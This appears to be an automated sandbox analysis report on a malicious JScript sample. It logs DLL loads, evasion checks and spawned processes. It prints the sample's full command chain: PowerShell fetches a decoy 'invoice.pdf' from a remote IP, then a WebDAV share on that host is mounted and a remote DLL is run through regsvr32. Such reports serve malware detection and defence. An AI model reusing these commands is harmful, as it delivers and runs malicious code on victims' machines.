Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\9633.js.csv");ITextStream.WriteLine(" entry:6968 f:ypfjn");ITextStream.WriteLine(" exec:2 f:ypfjn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49771

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4430			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5185			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 4430 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7788	Thread sleep count: 5185 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7856	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7772	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7876	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8044	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2748	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000009.00000002.2652091928.0000027D90047000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(C
Source: net.exe, 00000007.00000003.1440749091.00000223C51C7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: net.exe, 00000007.00000003.1440749091.00000223C51C7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1453447799.00000223C5168000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2650632837.0000027D8EA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2652135067.0000027D9005C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17626126326939.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

